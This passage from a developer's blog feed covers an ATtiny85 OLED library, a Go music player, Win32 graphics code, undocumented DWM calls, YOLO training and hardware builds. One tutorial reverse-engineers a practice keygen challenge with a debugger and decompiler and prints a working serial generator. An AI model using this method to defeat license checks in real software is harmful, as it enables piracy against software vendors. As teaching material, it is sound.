I2CTransfer() handles bit-by-bit clock generation. It toggles the clock via USICR, waits for SCL to stabilize, applies the timing delays defined by DELAY_T2TWI and DELAY_T4TWI, and continues until the transfer completes.

I2CStop() terminates communication with a proper stop condition: SDA low, release SCL, wait for stabilization, then release SDA.

The timing constants matter. The TWI_FAST_MODE flag controls whether the library uses standard (100kHz) or fast (400kHz) I2C timing. Getting these delays wrong means garbled communication or no communication at all.

I merged the working I2C code into ssd1306xled. Compiled. Uploaded.

The screen lit up. A space invader appeared. The game was running.

I created a fork on GitHub with attribution to Neven Boyanov for the original ssd1306xled driver and David Johnson-Davies for the I2C implementation.

I published the library to PlatformIO and the Arduino Library Manager. Added documentation with wiring diagrams, example code, and setup instructions. Wrote the blog post about the game console build.

Then I moved on to other projects.

Unexpected growth

I didn’t expect anyone else to use the library. I’d fixed my specific problem and shared the solution in case someone else hit the same wall. That seemed like enough.

Six years later, the repository has 103 stars and 8 forks. Developers email me with questions. Issues appear from people building projects I never imagined.

Why did it take off? The original library was broken for many users, not just me. Anyone trying to use ssd1306xled with cheap OLED screens would hit the same blank screen. My fork was the version that worked. The small size still mattered too. People building projects on the ATtiny85’s 8KB limit needed a small driver, and Adafruit’s library is too large for that. Clear documentation probably helped. Connection diagrams, example sketches, explanations of what the library does and how to use it.

The library fills a specific niche: minimal OLED driver for minimal microcontrollers. That niche is small but real.

Community contributions

The surprising part of maintaining this library has been watching other developers improve it in ways I never considered.

In July 2024, a developer named Lorandil submitted PR #7. They added ssd1306_tiny_init(), a new initialization function that saves 52 bytes of flash by skipping the initial screen fill. When you’re fighting for every byte on an ATtiny85, 52 bytes matters. Some projects were hitting the flash limit with the standard init function. Lorandil’s contribution let them fit.

In January 2026, Lorandil came back with PR #11: vertical addressing mode support. The SSD1306 can address pixels either horizontally (row by row) or vertically (column by column). The original library only supported horizontal mode. Vertical addressing lets you use different rendering approaches. The new ssd1306_tiny_init_vertical() function opened possibilities I hadn’t thought about when I first fixed the library.

There’s currently an open issue #17 from a user named Brian working on sprite animations. The library is being used for things beyond the simple static displays I originally built it for.

You solve your problem. You share your solution. Then people you’ve never met improve it for their problems. The result is better than what any one person would have built alone.

Professionalizing the project

For years, releasing new versions meant manually editing version numbers, creating GitHub releases, and hoping I didn’t forget something. As contributions increased, this became unsustainable. I needed automation.

I built three GitHub Actions workflows that handle the release process.

pr-checks.yml runs on every pull request. It validates library.json and library.properties to ensure they have required fields, checks that version numbers match between both files, compiles the library against the ATtiny85 target using PlatformIO, and builds all example sketches. If any check fails, the PR can’t be merged.

pr-changelog.yml uses Google’s Gemini API to generate changelogs. When a PR is opened or updated, the workflow extracts commit messages, changed files, and diffs. It sends this context to Gemini with instructions to summarize the changes. The generated changelog appears as a comment on the PR and gets saved as an artifact for release notes.

release.yml triggers when code merges to master. It identifies the merged PR, retrieves the AI-generated changelog, bumps the version number following semantic versioning, creates a git tag, generates a GitHub release, and publishes to the PlatformIO registry. A skip mechanism via PR labels prevents releases when merging non-code changes like documentation updates.

The CI/CD pipeline turned a hobby project into something that works like a professional library. Contributors can submit PRs knowing their code will be tested. Releases happen consistently without manual intervention.

What I learned

When code compiles but doesn’t work, the issue is often deeper than you expect. I spent time investigating chip compatibility when the real problem was the communication protocol. Trace problems to the lowest level.

The 8KB flash limit ruled out obvious solutions. I couldn’t use a larger, well-tested library. I had to fix the small library that fit. Constraints removed options and made the path forward clearer.

The fixed library credits Neven Boyanov’s original work and David Johnson-Davies’s I2C implementation. Being explicit about standing on others’ shoulders matters. People trust projects that credit their sources.

The README, example code, and wiring diagrams help users. They also help me when I return to the project after months away.

CI/CD reduces friction for contributions. When someone submits a PR, automated checks tell them if their code works. When I merge changes, automated releases handle versioning and publishing. Less manual work means more time for actual improvements.

The problem I solved wasn’t unique. Other developers had the same OLED screens, the same blank displays, the same frustration. Publishing my fix helped people I’ll never meet.

Six years later

What started as a weekend debugging session is now a maintained library with users around the world. The codebase is cleaner than what I originally wrote. The CI/CD pipeline is more sophisticated than some professional projects I’ve worked on. Contributors have added features I never imagined needing.

I still get notifications when someone opens an issue or submits a PR. Each one is a reminder that open source works through accumulation. Small fixes, modest improvements, better documentation. No single contribution is dramatic, but they compound over time.

The most recent thing I built with it is a Nokia Composer ringtone player, seven tunes and the display code inside 59% of the ATtiny85’s flash, which is a decent demonstration of why the small driver was worth fixing in the first place.

If you’re building projects on ATtiny85 or similar constrained microcontrollers, the library is at github.com/tejashwikalptaru/ssd1306xled. If something doesn’t work, open an issue. If you have an improvement, submit a PR.

Thanks to Neven Boyanov for the original ssd1306xled, David Johnson-Davies for TinyI2C, Daniel Champagne for the TinyJoypad games that started this project, and everyone who has contributed code, reported issues, or just used the library to build something.

GoTune: Exploring Clean Architecture in Desktop Applications

Tue, 03 Feb 2026 00:00:00 +0000

Back in college, I built a Windows music player called Tejash Player using C and the Win32 API. It worked well enough to get published on Softpedia, but the code was a mess. UI tangled into business logic, no separation of concerns, impossible to test. But it played music, so I shipped it.

A decade later, I spend most of my time building backend systems with Clean Architecture and Domain-Driven Design. These patterns are second nature in server-side development. But I kept wondering: do they actually work for desktop applications? GUI frameworks manage state, event loops, and user interactions in ways that feel fundamentally different from handling HTTP requests. Would Clean Architecture help or just add ceremony?

When I found Fyne, a Go GUI framework, I decided to find out by rebuilding that old music player.

The First Attempt

My initial proof of concept came together over a few evenings. Basic playback worked. Playlists loaded. The UI was functional. But the code looked uncomfortably familiar: callbacks nested in callbacks, UI components directly manipulating audio state, testing impossible without running the full application. I had recreated the same architecture problems from college, just in Go instead of C.

Life got busy, and the project sat dormant for months. But in January 2026, I carved out time to actually explore how Clean Architecture adapts to desktop development.

What I Ended Up With

After a lot of iterative refactoring, I landed on this structure:

main.go -> app -> services -> ports <- adapters | | v v domain (Fyne, BASS, SQLite) 

The domain layer is pure Go: music tracks, playlists, and events as plain structs with no external dependencies. This code could run anywhere.

The ports layer defines contracts through interfaces. What does an audio engine need to do? What events can the system publish?

The service layer orchestrates business logic, depending only on domain models and port interfaces. No Fyne imports. No audio library imports.

The adapter layer is where Fyne, the BASS audio library, and SQLite live. These adapters implement port interfaces and translate between external dependencies and the domain.

How It Worked Out

Some patterns translated directly from backend work. Dependency injection works exactly as expected:

type PlaybackService struct { engine ports.AudioEngine bus ports.EventBus mu sync.RWMutex } func NewPlaybackService(engine ports.AudioEngine, bus ports.EventBus) *PlaybackService { return &PlaybackService{ engine: engine, bus: bus, } } 

I can test PlaybackService by injecting mocks. No GUI required. No audio hardware required.

Domain events replaced the callback spaghetti:

type EventBus interface { Publish(event domain.Event) Subscribe(eventType domain.EventType, handler domain.EventHandler) domain.SubscriptionID Unsubscribe(id domain.SubscriptionID) } 

const ( EventTrackLoaded EventType = "track.loaded" EventTrackStarted EventType = "track.started" EventTrackPaused EventType = "track.paused" EventTrackStopped EventType = "track.stopped" EventTrackCompleted EventType = "track.completed" EventVolumeChanged EventType = "volume.changed" // ... over 20 event types total ) 

The playback service publishes TrackStartedEvent. The UI subscribes and updates the play button. The visualizer subscribes and starts animating. Neither knows the other exists. Same event-driven architecture I use for microservice communication, just within a single process.

Other patterns needed adjustment. State management is more complex than in stateless services. A music player has persistent state: current track, playback position, volume level, playlist order. This state lives in services but needs to reflect in the UI. Thread safety becomes a real concern since Fyne, like most GUI frameworks, requires UI updates from a specific thread.

The adapter layer ended up much thicker than in backend applications. GUI frameworks are opinionated about how you structure UI code. I used MVP (Model-View-Presenter) within the adapter layer to keep Fyne-specific code organized while ensuring presenters communicate through the event bus rather than directly manipulating services.

CGO also added complexity that pure Go services don’t have. The BASS audio library requires managing dynamic libraries across platforms: build tags, platform-specific initialization, careful resource cleanup. None of this exists when writing a REST API.

The Visualizer

One feature that proved the architecture was worth it: the audio visualizer. GoTune has eleven different visualizers that respond to music in real-time using FFT spectrum analysis.

Adding visualizers was straightforward because of the clean boundaries. The audio adapter exposes FFT data through a port interface. Visualizer adapters consume that data and render to Fyne canvases. The service layer doesn’t know visualizers exist. I could add more, remove them, or replace the entire visualization system without touching playback logic.

What I Learned

Clean Architecture does work for desktop applications, but with caveats.

Expect a larger adapter layer. GUI frameworks are substantial dependencies with strong opinions. Your adapters will do more heavy lifting than a typical HTTP handler.

Event-driven communication is necessary. Without events, you end up with circular dependencies between UI and services.

Thread safety matters more. Backend services often handle concurrency through request isolation. Desktop apps have background tasks, UI threads, and user events all interleaving.

Testing remains the biggest win. The ability to test business logic in isolation justifies the architectural investment.

From Tejash Player to GoTune, the core problem stayed the same: play music. But the tangled Win32 application is now a cleanly architected, cross-platform, testable codebase. The implementation details differ from backend services, the adapter layer is larger, and you need to think harder about state and threading. But the core benefits remain.

GoTune is open source: https://github.com/tejashwikalptaru/gotune

A tiny game console based on Attiny85

Wed, 04 Mar 2020 00:00:00 +0000

I had some Attiny85 chips lying around my desk and a few free days, so I went looking for projects. I found that Daniel Champagne had already created several games for this chip. His schematics were missing some resistor values, but he replied quickly when I emailed him.

This isn’t a retro gaming device. You can’t play 8-bit Nintendo games on an Attiny85. But you can play games specifically written for it, or write your own.

The OLED Problem

The project uses an SSD1306-based I2C OLED screen. I had a few of these in my lab. I compiled Daniel’s code using the ssd1306xled library from Github. It compiled fine. Nothing appeared on screen.

I tried several different OLED screens. None worked. I tested them with the Adafruit library. They all worked fine. The screens weren’t the problem.

The Github library is a port of the AVR TinuSaur project, and the original is hosted on BitBucket. Searching led me to a Tinusaur article describing compatibility issues. Most OLED screens from China claim to use SSD1306 but sometimes use SSD1315 or SSH1306 instead.

I cloned the original repository and modified it for my Attiny85. Still nothing. Digging into the code, I concluded the I2C implementation itself was broken. You can follow my debugging journey in this issue thread.

The Fix

The Attiny85 has 8KB of flash memory. The game uses about 6KB, leaving 2KB for the OLED driver. Libraries like Adafruit’s or Tiny4kOled would push the program over 8KB. I needed the lightweight ssd1306xled library to work.

I took the latest SSD1306XLED library and replaced its I2C implementation with the working one from TinyI2C. That fixed it.

My working fork is on Github.

Update: that fork did not stay a fork. It turned into a maintained library with contributors, a release cycle and a documentation site. I wrote about how that happened, and later used it to build a Nokia Composer ringtone player on the same chip.

The Schematic

While researching the OLED issue, I found a modified version of Daniel’s project by Dave on the element14 community. Dave optimized the Attiny85 pin usage. If you’re interested in this project, watch his video.

PCB Design

The goal was simple: make it as small as possible using SMD components. I used 0805 resistors. They’re small but still solderable by hand.

For quick projects I use EasyEDA instead of Altium. Here are the components I used:

Quantity	Manufacturer Part Number	Manufacturer Name	Notes
1.0	ATTINY85-20PU	MICROCHIP	Attiny85 IC
5.0	SKQGAFE010	ALPS ALPINE	Push button
2.0	MCWR08X2001FTL	MULTICOMP PRO	2K resistor
2.0	WR08X1002FTL	WALSIN	10K resistor
1.0	MCPWR05FTEW8201	MULTICOMP PRO	8.2K (8K2) resistor
1.0	ERJ6GEYJ392V	PANASONIC	3.9K (3K9) resistor
1.0	MCWR08X1802FTL	MULTICOMP PRO	18K resistor
1.0	MCABT-458-RC	MULTICOMP PRO	Speaker
1.0	796136-1	TE CONNECTIVITY	CR2032 battery holder
1.0	JS102011SAQN	C & K COMPONENTS	Power switch
1.0		SSD1306	0.96 inch white OLED screen

Using Dave’s schematic as a reference, I created my PCB:

Another OLED Mistake

I ordered the PCB, then noticed a problem during the week-long wait. Look at the pin order: VCC-GND-SCL-SDA. Some OLED screens have the first two pins swapped.

You can fix this with trace cuts and jumpers, but I made a second design with configurable pads:

The first two pins are labeled 1 and 2 with a 4-pad box for configuration. If your screen is VCC-GND, connect PIN1 to VCC and PIN2 to GND. If it’s GND-VCC, reverse them.

I call these Design A (specific to VCC-GND-SCL-SDA screens) and Design B (works with either pin order).

Assembly

After a week, the PCB and components arrived.

Calibrating the Controls

The directional buttons connect to PIN 2 (A3) of the Attiny85. The code uses analogRead to determine which button is pressed, but the exact values depend on your resistors and wiring. Use this code to find your values:

void setup() { _delay_ms(40); SSD1306.ssd1306_init(); } void loop() { _delay_ms(500); SSD1306.ssd1306_fillscreen(0); int value = analogRead(A3); if(value > 0) { char buf[20]; sprintf(buf, "value: %d", value); SSD1306.ssd1306_setpos(0, 1); SSD1306.ssd1306_string_font6x8(buf); } } 

My values:

UP: 180-250
DOWN: 300-400
LEFT: 90-110
RIGHT: >400

Update these in the game’s loop function, compile, and burn to the Attiny85. You can use an Arduino as ISP or a USBasp programmer.

Thanks to Daniel and Dave for the original work.

Downloads

Flicker-free text scrolling with Double buffering in Windows

Wed, 14 Aug 2019 00:00:00 +0000

If you’ve tried scrolling text over an image in a Win32 application, you’ve probably seen flickering. The text doesn’t draw cleanly over the background. This happens because Windows repaints the background and then the text separately, and your eye catches the gap between them.

Double buffering fixes this by drawing everything to a memory buffer first, then copying the completed image to the screen in one operation.

The Approach

Create a memory buffer
Draw the background image to the buffer
Draw the scrolling text to the buffer
Copy the buffer to the screen
Free resources

First, calculate how much space the text needs:

// Counts the number of lines in scroll text int TextLen = lstrlen(Text); int nLines = 0; for(int i=0;i<TextLen;i++) { if(Text[i]=='\n') nLines++; } // Gets the size of total scroll texts SIZE sizeAboutText; HDC hDC = GetDC(hWnd); HDC hDCMem = CreateCompatibleDC(hDC); SelectObject(hDCMem, hFont); GetTextExtentPoint32A(hDCMem, Text, TextLen, &sizeAboutText); // Calculates the needed size for given scroll text GetClientRect(hWnd, &rcClient); rcText.bottom += (sizeAboutText.cy * (nLines+3))+rcClient.bottom; rcText.top = rcClient.bottom; rcText.right = rcClient.right; rcText.left = rcClient.left; 

Get the background image dimensions:

// Loads the bitmap, get its CX,CY and get compatible device context hSkin = LoadBitmap(hIns, MAKEINTRESOURCE(IDB_BITMAP1)); BITMAP bm = {0}; GetObject( hSkin, sizeof(bm), &bm ); cx = bm.bmWidth; cy = bm.bmHeight; 

The WM_PAINT Handler

Here’s where the double buffering happens:

case WM_PAINT: { PAINTSTRUCT ps; if(BeginPaint(hWnd,&ps)) { //Creating double buffer HDC hdcMem = CreateCompatibleDC(ps.hdc); int ndcmem = SaveDC(hdcMem); HBITMAP hbmMem = CreateCompatibleBitmap(ps.hdc, cx, cy); SelectObject(hdcMem, hbmMem); //------------------------------------------------------- // Copy background bitmap into double buffer BitBlt(hdcMem, 0, 0, cx, cy, hdcBackground, 0, 0, SRCCOPY); //--------------------------------------------------------- // Draw the text SelectObject(hdcMem, hFont); SetTextColor(hdcMem, CLR); SetBkMode(hdcMem, TRANSPARENT); DrawText(hdcMem, Text, -1, &rcText, DT_CENTER | DT_TOP | DT_NOPREFIX | DT_NOCLIP); //----------------------------------------------------------------------------- // Copy double buffer to screen BitBlt(ps.hdc, 0, 0, cx, cy, hdcMem, 0, 0, SRCCOPY); //-------------------------------------------------- // Clean up RestoreDC(hdcMem, ndcmem); DeleteObject(hbmMem); DeleteDC(hdcMem); EndPaint(hWnd, &ps); //-------------------- } else { MessageBox(hWnd, "Can not start painting!", "Error", MB_ICONERROR); } } return TRUE; 

CreateCompatibleDC creates a memory device context. CreateCompatibleBitmap creates a bitmap to draw on. After selecting it with SelectObject, the buffer is ready.

BitBlt copies the background image to the buffer. Then DrawText draws the text on top. Since both operations happen in memory, the user sees nothing yet.

The second BitBlt copies the completed buffer to the screen in one operation. No flicker.

Finally, clean up the resources. Always restore and delete device contexts you create.

You can download the complete source code here

Another Win32 post in the same vein: changing the Windows Aero color through undocumented DWM APIs.

Introduction to software reverse engineering

Wed, 14 Aug 2019 00:00:00 +0000

Reverse engineering is taking apart software to understand how it works. Security researchers use it to analyze malware. Testers use it for black-box security analysis. Sometimes you just want to figure out how something was built.

This tutorial requires basic understanding of assembly language. Take a crash course here

The Target

Here’s a keygen challenge. It wants a name and serial key, checks them internally, and shows success or failure.

That’s enough to start.

Finding the Check

I’m using x64 Dbg for debugging and IDA Pro for decompilation.

Load the application in x64dbg. Search for the string Enter your name:

Double-click to jump to where it’s used:

Reading the assembly:

printf and scanf handle input for name and serial
A function gets called, returns some value X
X gets compared to the serial we entered
Match = success, mismatch = failure

The interesting part is that function. Set a breakpoint, run with dummy input, step into when the breakpoint hits.

Quick analysis:

Takes the name as input
Gets name length with strlen
Loops through each character doing some calculation (notice the JBE instruction)
Formats the result as %d-%d

IDA Pro Does the Heavy Lifting

Being lazy, I’m not going to step through every instruction. Note the function’s starting address, fire up IDA Pro, load the application, and navigate to that address. IDA shows a graph view:

Select the function, press F5. IDA decompiles the assembly into readable C:

Building the Keygen

Clean up IDA’s output:

void generateSerial(char name[]) { int length = strlen(name); int counter = 1; int value = 0; while(counter <= length) { int index = counter - 1; int temp = value + counter + 3; counter++; value = (unsigned int) (name[index] + temp); } sprintf(name, "%d-%d", 3 * (unsigned int)(length >> 1) + (unsigned int) length, value); } 

Complete keygen:

#include <stdio.h> #include <string.h>  #define MAX_NAME_LEN 20  void generateSerial(char name[]) { int length = strlen(name); int counter = 1; int value = 0; while(counter <= length) { int index = counter - 1; int temp = value + counter + 3; counter++; value = (unsigned int) (name[index] + temp); } sprintf(name, "%d-%d", 3 * (unsigned int)(length >> 1) + (unsigned int) length, value); } int main() { char name[MAX_NAME_LEN]; printf("Enter your name: "); fgets(name, sizeof name, stdin); name[strcspn(name, "\n")] = '\0'; // calculate serial for the given name generateSerial(name); printf("Serial: %s\n", name); return 0; } 

For tejashwi, the keygen returns 20-923. Let’s verify:

Download the sample application and keygen source here (password: tejashwi.io)

Going Further

This was a simple example. If you want to go deeper:

Get comfortable with C
Learn x86 assembly basics
Understand Windows PE file format
Check out Lena151’s video tutorials on Windows reverse engineering: here

Also read https://lifeinhex.com/tag/lena151/

For a smaller, practical example of the same habit, I used it to find undocumented functions in dwmapi.dll and change the Windows Aero color from code. For a hostile one, I pulled apart malware a client shipped me inside .git/hooks/.

Changing Windows Aero color with Win32 programming

Fri, 09 Aug 2019 00:00:00 +0000

Windows Vista introduced the Desktop Window Manager (DWM), which uses hardware acceleration for the UI and enables the Aero glass effects. Each program writes to its own buffer, and DWM composites them into the final image. This requires a DirectX-compatible GPU with WDDM drivers.

Most ways to change the Aero color require either switching themes or restarting dwm.exe. But there’s another way.

Finding the Hidden APIs

This is the sort of thing you find by reading a binary rather than the documentation, which I cover separately in an introduction to software reverse engineering.

While poking around, I found dwmapi.dll in the system32 folder. It handles all DWM-related API calls. Dumping the DLL revealed three functions of interest:

DwmIsCompositionEnabled() // Documented API, checks if DWM composition is enabled 

DwmGetColorizationParameters() // At index 127, undocumented 

DwmSetColorizationParameters() // At index 131, undocumented 

The first function is documented. The other two aren’t officially supported, which means Microsoft could change or remove them anytime.

Loading the Functions

Since these are undocumented, we can’t use the dwmapi.h header directly. Instead, load the DLL at runtime:

HMODULE hDwmDLL = LoadLibrary("dwmapi.dll"); // Loads the DWM DLL if (!hDwmDLL) { MessageBox(hWnd, "Unable to load DWM Library!", "Error", MB_ICONERROR); EndDialog(hWnd,0); // Close } 

Then get the function addresses. For the undocumented ones, use their index numbers:

// Needed Function from DWM Library HRESULT (WINAPI *DwmIsCompositionEnabled)(BOOL *pfEnabled); HRESULT (WINAPI *DwmSetColorizationParameters) (COLORIZATIONPARAMS *colorparam,UINT unknown); HRESULT (WINAPI *DwmGetColorizationParameters) (COLORIZATIONPARAMS *colorparam); // Everything is fine up to here, we can get function address *(FARPROC *)&DwmIsCompositionEnabled = GetProcAddress(hDwmDLL,"DwmIsCompositionEnabled"); //Below two functions are undocumented thus load from there index *(FARPROC *)&DwmGetColorizationParameters = GetProcAddress(hDwmDLL,(LPCSTR)127); *(FARPROC *)&DwmSetColorizationParameters = GetProcAddress(hDwmDLL,(LPCSTR)131); 

The Color Parameters Structure

The structure maps to registry values in HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM:

typedef struct COLORIZATIONPARAMS { COLORREF clrColor; //ColorizationColor COLORREF clrAftGlow; //ColorizationAfterglow UINT nIntensity; //ColorizationColorBalance -> 0-100 UINT clrAftGlowBal; //ColorizationAfterglowBalance UINT clrBlurBal; //ColorizationBlurBalance UINT clrGlassReflInt; //ColorizationGlassReflectionIntensity BOOL fOpaque; }DWMColor; DWMColor dwmcolor; COLORREF Restore; // This will be used to restore back the colors to default 

Using the Functions

Always check if composition is enabled first, or the other calls will fail:

//Need to call DwmIsCompositionEnabled before calling the DwmSetColorizationParameters or it will fail. DwmIsCompositionEnabled(&enabled); // If glass composition is not enabled then close up if(!enabled) { MessageBox(hWnd,"Composition is not enabled\nUnable to work!","Error",MB_ICONERROR); FreeLibrary(hDwmDLL); EndDialog(hWnd,0); } // The undocumented functions are not there, sorry if(!DwmGetColorizationParameters && !DwmSetColorizationParameters) { MessageBox(hWnd,"Unable to find necessary functions in library","Error",MB_ICONERROR); FreeLibrary(hDwmDLL); EndDialog(hWnd,0); } else { DwmGetColorizationParameters(&dwmcolor); // Get current values Restore = dwmcolor.clrColor; //Backup current color } 

Here’s a timer that changes the color randomly:

case WM_TIMER: { R = (rand() % 256); G = (rand() % 256); B = (rand() % 256); dwmcolor.clrColor = RGB(R,G,B); DwmSetColorizationParameters(&dwmcolor,0); } return TRUE; 

Restore the original color when closing:

dwmcolor.clrColor = Restore; DwmSetColorizationParameters(&dwmcolor,0); // Restore color back 

And free the DLL:

FreeLibrary(hDwmDLL); // Free the loaded DWM Library 

You can download the complete source code here

What You Could Do With This

You could build an app that changes the Aero color based on temperature, or matches it to your wallpaper’s dominant color. The color changes immediately without restarting DWM.

For more Win32 drawing work, see flicker-free text scrolling with double buffering.

Training a YOLO object detector on a custom dataset

Thu, 01 Aug 2019 00:00:00 +0000

This post used to be a Darknet tutorial. It walked through training YOLOv3 on a custom dataset, and most of its length went on editing a .cfg file: work out filters = (classes + 5) * 3 for each of the three YOLO layers, set max_batches to classes * 2000, then set steps to 80% and 90% of that. Reading it back, the arithmetic is laid out clearly enough. It is also the single least useful thing I could have spent that many words on.

None of it is worth reading now. pjreddie/darknet has not taken a commit since July 2022, and the repo is not archived so it still looks alive if you only glance. HyperLabel, which I used to draw the boxes, does not resolve at all any more, which means the very first instruction in the old post sends you to a dead domain.

The data outlived the tooling. Same 750 frames from a shipping-port video, same five classes, still sitting on this site where I put them in 2019: yolo-dataset.zip, 20 MB, 750 JPEGs with a matching .txt label each. So I kept the dataset, threw away everything else, and retrained.

Everything below is output from a run I did on a Colab T4. The notebook runs the whole thing top to bottom.

Getting the old data into the new tool

This part turned out to be free, which I did not expect. Darknet writes labels as one row per box, class cx cy w h, normalised to 0-1, and that is exactly the format Ultralytics reads. The 2019 annotations load into a 2026 trainer with no conversion at all. All I had to do was shuffle the files into images/ and labels/ folders and write a small YAML.

import urllib.request, zipfile, pathlib, shutil, random urllib.request.urlretrieve( "https://tejashwi.in/assets/files/yolo/yolo-dataset.zip", "yolo-dataset.zip") with zipfile.ZipFile("yolo-dataset.zip") as z: z.extractall("raw") names = [n.strip() for n in open("raw/obj.names") if n.strip()] src = pathlib.Path("raw/img") pairs = [(j, j.with_suffix(".txt")) for j in sorted(src.glob("*.jpg")) if j.with_suffix(".txt").exists()] root = pathlib.Path("boats") random.seed(42); random.shuffle(pairs) cut = int(len(pairs) * 0.8) for split, items in {"train": pairs[:cut], "val": pairs[cut:]}.items(): (root/"images"/split).mkdir(parents=True, exist_ok=True) (root/"labels"/split).mkdir(parents=True, exist_ok=True) for jpg, txt in items: shutil.copy(jpg, root/"images"/split/jpg.name) shutil.copy(txt, root/"labels"/split/txt.name) (root/"data.yaml").write_text( f"path: {root.resolve()}\ntrain: images/train\nval: images/val\n\n" f"nc: {len(names)}\nnames: {names}\n") 

600 images to train on, 150 held back.

Before starting anything I counted the boxes per class, which is a habit I would recommend to anyone and which I am about to spend most of this post justifying:

{'Tug': 186, 'Ferry': 38, 'Sailboat': 364, 'Cruise': 1518, 'Unknown': 83} malformed: 0 

Then the training, which is the bit that replaced two thousand words of configuration advice:

from ultralytics import YOLO model = YOLO("yolo26n.pt") model.train(data="boats/data.yaml", epochs=60, imgsz=640, device=0, batch=16, patience=20) 

That is all of it. The class count comes out of the YAML, the detection head gets rebuilt to match, and the COCO weights carry into everything else. Sixty epochs took 773 seconds, so call it thirteen minutes. I had run the same thing on my laptop first, an M3 Pro through Metal, where an epoch took about 70 seconds against the T4’s 13, and I would not bother with the laptop again for a job this size.

The result:

mAP50 0.778 mAP50-95 0.444 precision 0.617 recall 0.796 inference 4.65 ms per image 

Which is a perfectly decent detector for thirteen minutes of work. The 2019 version of this post reported no mAP at all. It showed a photo with boxes on it, and I apparently considered that a result.

The number that matters is not that one

Break 0.778 apart by class and it stops being a single reassuring figure:

Class	Training boxes	mAP50
Cruise	1518	0.983
Sailboat	364	0.929
Unknown	83	0.792
Tug	186	0.689
Ferry	38	0.498

The tempting story is that accuracy follows the box count, and Cruise at 1518 against Ferry at 38 looks like a clean demonstration of it. I believed that for about ten minutes, then measured the box sizes and found the classes differ on that too: Cruise objects have a median area of 3.79% of the frame, roughly 249 pixels across, while everything else sits between 0.22% and 0.43%, around 60 to 84 pixels. So Cruise ships are both the most common thing in the harbour and by far the largest, and some unknown share of that 0.983 is just that a 249 pixel object is easy to find.

Among the four small classes the comparison is fairer, since they are all within about 25 pixels of each other. There the counts do mostly govern: Sailboat with 364 examples gets 0.929, Ferry with 38 gets 0.498 despite having the largest median box of the four. Tug and Unknown come out the wrong way round though, so it is a tendency and not a law, and I am not going to pretend the data is tidier than it is.

I did not construct any of this. I labelled frames from a video of a working port, and a working port contains a great many enormous cruise ships and almost no ferries. Both skews arrived with the footage.

That is the thing I would want someone to take from this post. Real data hands you several confounded problems at once and gives you one aggregate number to notice them through, and 0.778 does not look like a model with a class in it scoring 0.498.

There is no clever fix, by the way. Label more ferries. If you cannot, weight the loss towards the rare classes, oversample them, or accept that you are merging Ferry into Cruise whether you write it down or not. I wrote a companion post about the accuracy-first end of this, where a much heavier model gets Ferry to 0.995 and where I go into why I am not willing to say exactly what fixed it.

Running it

model = YOLO("runs/detect/train/weights/best.pt") r = model.predict("boats/images/val/output-000000197.jpg", conf=0.35)[0] counts = {} for c in r.boxes.cls.tolist(): counts[model.names[int(c)]] = counts.get(model.names[int(c)], 0) + 1 print(counts) # {'Cruise': 2, 'Sailboat': 1} r.save(filename="prediction.jpg") 

On a validation frame it never saw:

Three ships at 0.95, 0.96 and 0.98, which looks like a clean sweep until you check the labels for that frame and find four objects. The missing one is a sailboat about 44 pixels wide, tucked against the left edge, and the model does not return it at any confidence I would accept. Same problem as the table, in a single picture.

If you came here from the old version: ignore the Darknet material entirely. Label Studio and CVAT both do what HyperLabel used to. The dataset still downloads and the labels in it are still good, so you can skip the labelling step entirely and go straight to training.

Tiny Pi Pro, a super tiny gaming handheld based on Raspberry Pi Zero

Thu, 01 Aug 2019 00:00:00 +0000

When the TinyPi Pro kit arrived, I wasn’t sure I could actually play games on something this small. The whole thing fits on a keychain. But it works.

I covered the wider scene of these builds in an earlier post on Raspberry Pi retro gaming. This one is about living with the TinyPi Pro specifically.

Pi0cket (also known as moosepr) built this as a hobby project. The first version had a low-resolution display, limited buttons, and a partial 3D case:

The Pro version fixed those problems. It doesn’t require any soldering.

What’s Changed

The screen is now a 1.3 inch IPS display at 240x240 pixels with good viewing angles.

Sound comes through i2s (Inter-IC Sound), which the Raspberry Pi supports natively. It won’t replace headphones, but it works.

The kit includes a 400mAh battery. About an hour of playtime under heavy use.

The case uses selective laser sintering (SLS), which gives it a smooth finish. It’s one of the better cases I’ve seen in DIY kits.

wermy made a build video:

After Two Weeks

It plays games well despite its size. If you have large hands, the buttons will feel cramped, but it’s manageable.

A headphone jack or hardware volume buttons would be nice additions. Not dealbreakers.

The build itself is mostly straightforward. Fitting the Raspberry Pi with the pogo pins took a few tries. Be patient with that part.

I like it. Thanks pi0cket

If the Pi still feels like overkill, the ATtiny85 game console I built later runs on a chip the size of a fingernail.

Tejashwi Kalp Taru

The git hook trojan: a client sent me malware hidden in .git/hooks

How it actually arrived

What git hooks actually are (short version)

The layout

Three triggers, not one

The camouflage

The dropper

What the remote payload actually is, and why we can’t know

Why this is harder to catch than it should be

How we handle client code, and why that saved us

What the security press published a month later

Closing thought

Nokia Composer on ATtiny85: ringtones on a chip the size of a fingernail

Why

The notation

Fitting it on an ATtiny85

The parser

Frequency mapping

Duration math

The square wave

The 70/30 rule

The timing problem

The display

Seven tunes in 59% flash

Try it

The thing about square waves

The journey of ssd1306xled: from debugging to open source maintenance

Nothing on screen

Down the rabbit hole

The fix

Sharing the fix

Unexpected growth

Community contributions

Professionalizing the project

What I learned

Six years later

GoTune: Exploring Clean Architecture in Desktop Applications

The First Attempt

What I Ended Up With

How It Worked Out

The Visualizer

What I Learned

A tiny game console based on Attiny85

The OLED Problem

The Fix

The Schematic

PCB Design

Another OLED Mistake

Assembly

Calibrating the Controls

Downloads

Flicker-free text scrolling with Double buffering in Windows

The Approach

The WM_PAINT Handler

Introduction to software reverse engineering

The Target

Finding the Check

IDA Pro Does the Heavy Lifting

Building the Keygen

Going Further

Changing Windows Aero color with Win32 programming

Finding the Hidden APIs

Loading the Functions

The Color Parameters Structure

Using the Functions

What You Could Do With This

Training a YOLO object detector on a custom dataset

Getting the old data into the new tool

The number that matters is not that one

Running it

Tiny Pi Pro, a super tiny gaming handheld based on Raspberry Pi Zero

What’s Changed

After Two Weeks